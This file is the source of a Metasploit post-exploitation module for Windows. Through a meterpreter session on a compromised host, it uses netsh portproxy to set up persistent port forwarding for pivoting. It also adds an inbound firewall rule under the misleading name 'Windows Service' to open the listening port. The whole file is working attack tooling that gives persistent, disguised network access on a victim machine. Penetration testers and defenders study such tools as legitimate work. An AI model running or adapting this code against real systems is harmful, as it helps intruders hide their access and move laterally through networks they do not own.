modules/post/windows/manage/portproxy.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Set Port Forwarding With PortProxy',
'Description' => %q{
This module uses the PortProxy interface from netsh to set up
port forwarding persistently (even after reboot). PortProxy
supports TCP IPv4 and IPv6 connections.
},
'License' => MSF_LICENSE,
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ]
)
)
register_options(
[
OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']),
OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']),
OptPort.new('CONNECT_PORT', [ true, 'Port number to which to connect.']),
OptPort.new('LOCAL_PORT', [ true, 'Port number to which to listen.']),
OptBool.new('IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]),
OptEnum.new('TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4', 'v6tov6', 'v6tov4', 'v4tov6']])
]
)
end
def run
if !is_admin?
print_error("You don't have enough privileges. Try getsystem.")
return
end
# Due to a bug in Windows XP you need to install IPv6
# http://support.microsoft.com/kb/555744/en-us
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP2) && !check_ipv6
return
end
return unless enable_portproxy
fw_enable_ports
end
def enable_portproxy
rtable = Rex::Text::Table.new(
'Header' => 'Port Forwarding Table',
'Indent' => 3,
'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT']
)
print_status('Setting PortProxy ...')
netsh_args = 'interface portproxy '
netsh_args << "add #{datastore['TYPE']} "
netsh_args << "listenport=#{datastore['LOCAL_PORT']} "
netsh_args << "listenaddress=#{datastore['LOCAL_ADDRESS']} "
netsh_args << "connectport=#{datastore['CONNECT_PORT']} "
netsh_args << "connectaddress=#{datastore['CONNECT_ADDRESS']}"
output = cmd_exec('netsh', netsh_args)
if output.size > 2
print_error('Setup error. Verify parameters and syntax.')
return false
else
print_good('PortProxy added.')
end
output = cmd_exec('netsh', 'interface portproxy show all')
output.each_line do |l|
rtable << l.split(' ') if l.strip =~ /^[0-9]|\*/
end
print_status(rtable.to_s)
return true
end
def ipv6_installed
output = cmd_exec('netsh', 'interface ipv6 show interface')
if output.lines.count > 2
return true
else
return false
end
end
def check_ipv6
if ipv6_installed
print_status('IPv6 is already installed.')
return true
elsif !datastore['IPV6_XP']
print_error('IPv6 is not installed. You need IPv6 to use portproxy.')
print_status('IPv6 can be installed with "netsh interface ipv6 install"')
return false
else
print_status('Installing IPv6... can take a little long')
cmd_exec('netsh', 'interface ipv6 install', 120)
if !ipv6_installed
print_error('IPv6 was not successfully installed. Run it again.')
return false
end
print_good('IPv6 was successfully installed.')
return true
end
end
def fw_enable_ports
print_status("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
version = get_version_info
if version.build_number >= Msf::WindowsVersion::Vista_SP0
cmd_exec('netsh', "advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
else
cmd_exec('netsh', "firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")
end
output = cmd_exec('netsh', 'firewall show state')
if output =~ /^#{datastore['LOCAL_PORT']} /
print_good('Port opened in Windows Firewall.')
else
print_error('There was an error enabling the port.')
end
end
end